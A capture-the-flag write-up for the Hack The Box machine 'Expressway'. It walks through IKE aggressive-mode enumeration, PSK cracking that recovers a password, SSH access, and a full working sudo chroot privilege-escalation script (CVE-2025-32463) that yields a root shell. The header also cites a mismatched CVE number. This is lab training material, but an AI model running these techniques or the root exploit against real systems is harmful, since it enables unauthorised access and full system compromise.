Expressway

Recon

Port Scanning

┌──(kali㉿vm-kali)-[~/htb/expressway]
└─$ sudo nmap -p500 -sCV -sU 10.129.248.177
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 12:56 PKT
Nmap scan report for 10.129.248.177
Host is up (0.15s latency).

PORT    STATE SERVICE VERSION
500/udp open  isakmp?
| ike-version: 
|   attributes: 
|     XAUTH
|_    Dead Peer Detection v1.0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 129.91 seconds

TCP returned only an SSH port so the first instinct was to scan UDP Ports.

What is ISAKMP?

ISAKMP / IKE is the Internet Key Exchange protocol used to negotiate IPsec VPNs (key agreement, SA proposals, authentication).

Attacking ISAKMP

A tool which can be used to interact with ISAKMP Service: ike-scan

┌──(kali㉿vm-kali)-[~/htb/expressway]
└─$ sudo ike-scan -A 10.129.248.177
[sudo] password for kali: 
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.248.177  Aggressive Mode Handshake returned HDR=(CKY-R=528154e0c770e75d) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.138 seconds (7.24 hosts/sec).  1 returned handshake; 0 returned notify

We scan using aggressive mode (IKEv1) as it leaks identity in the handshake.

• Identity: (Type=ID_USER_FQDN, Value=ike@expressway.htb)
• SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
  • Auth method: Preshared Key
  • Crypto = 3DES + SHA1 + DH group2 (modp1024)
• VID=09002689dfd6b712 (XAUTH)
  • We need XAUTH creds, we already have the username from identity.

PSK Parameters

First let’s get the PSK parameters using ike-scan and save them to a file for cracking.

┌──(kali㉿vm-kali)-[~/htb/expressway]
└─$ sudo ike-scan -A --pskcrack=psk.txt 10.129.248.177                         
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.248.177  Aggressive Mode Handshake returned HDR=(CKY-R=aa40d905cea227ca) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.139 seconds (7.22 hosts/sec).  1 returned handshake; 0 returned notify

Now using psk-crack (provided with ike-scan) can be used to crack and retrieve the creds:

┌──(kali㉿vm-kali)-[~/htb/expressway]
└─$ psk-crack -d /usr/share/wordlists/rockyou.txt psk.txt 
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash 380f5b11b725a776a0968bbc4e5c88fb20acdfd4
Ending psk-crack: 8045040 iterations in 4.797 seconds (1677199.58 iterations/sec)

ike:freakingrockstarontheroad

Foothold

These creds can be used for SSH.

┌──(kali㉿vm-kali)-[~/htb/expressway]
└─$ ssh ike@expressway.htb                                                   
The authenticity of host 'expressway.htb (10.129.248.177)' can't be established.
ED25519 key fingerprint is SHA256:fZLjHktV7oXzFz9v3ylWFE4BS9rECyxSHdlLrfxRM8g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'expressway.htb' (ED25519) to the list of known hosts.
ike@expressway.htb's password: 
Last login: Wed Sep 17 12:19:40 BST 2025 from 10.10.14.64 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 21 09:19:34 2025 from 10.10.16.28
ike@expressway:~$ 

Privilege Escalation

During linpeas I noticed the version of sudo 1.9.17 recently there was a vulnerability that affected the versions before 1.9.17p1. The vulnerability allows for privilege escalation.

CVE-2025-32462

The simplest test we could do on the host for vulnerable sudo:

ike@expressway:~$ sudo -R woot woot
sudo: woot: No such file or directory

If it had asked for password that would mean it isn’t vulnerable.

Script for privilege escalation:

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

if [ $# -eq 0 ]; then
    # If no command is provided, default to an interactive root shell.
    CMD="/bin/bash"
else
    # Otherwise, use the provided arguments as the command to execute.
    CMD="$@"
fi

# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

Root shell

ike@expressway:~$ nano root.sh
ike@expressway:~$ ./root.sh
-bash: ./root.sh: Permission denied
ike@expressway:~$ chmod +x root.sh 
ike@expressway:~$ ./root.sh 
woot!
root@expressway:/# whoami
root
root@expressway:/# cat /root/root.txt

---